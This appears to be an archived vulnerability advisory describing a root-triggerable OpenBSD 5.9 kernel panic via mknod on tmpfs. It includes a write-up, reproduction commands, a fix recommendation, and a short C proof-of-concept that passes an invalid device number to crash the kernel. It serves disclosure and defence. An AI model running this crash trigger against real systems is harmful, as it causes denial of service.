OpenBSD 5.9 kernel panic in tmpfs when performing mknod
Posted on 30 November -0001
<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic in tmpfs when performing mknod</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* * tmpfs_mknod_panic.c: * Demonstrate a panic in tmpfs when performing mknod * * gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic */ #ifdef BUG_WRITEUP //--------------------------------------------------- Root can panic kernel with mknod on a tmpfs filesystem Impact: Root can panic the kernel. Description: When performing a mknod system call on a tmpfs filesystem, the tmpfs_alloc_node() function asserts that the rdev parameter is not VNOVAL (-1): /* Type-specific initialization. */ switch (nnode->tn_type) { case VBLK: case VCHR: /* Character/block special device. */ KASSERT(rdev != VNOVAL); nnode->tn_spec.tn_dev.tn_rdev = rdev; break; However, the value or rdev is never validated previous to this. Users that can perform mknod() calls on a tmpfs (i.e. root) can trigger this condition to panic the kernel. Reproduction: Compile the attached test program and execute it as root with a path to a non-existance filename on a tmpfs filesystem: # mount -o rw,-s16M -t tmpfs swap /mnt # gcc -g tmpfs_mknod_panic.c -o tmpfs_mknod_panic # ./tmpfs_mknod_panic /mnt/boom This should cause the kernel to panic in tmpfs_alloc_node(). NCC Group was able to reproduce this issue on OpenBSD 5.9 release running amd64. Recommendation: Validate the device number vap->va_rdev in tmpfs_mknod() and return an error if it is VNOVAL (-1). Reported: 2016-07-05 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/vfs_syscalls.c.diff?r1=1.260&r2=1.261 #endif // BUG_WRITEUP --------------------------------------------------- #include <stdio.h> #include <sys/stat.h> int main(int argc, char **argv) { char *fn; int i, x; for(i = 1; i < argc; i++) { fn = argv[i]; x = mknod(fn, S_IFBLK | 0666, -1); if(x == -1) perror(fn); } printf("nothing happened! "); return 0; } </BODY></HTML>
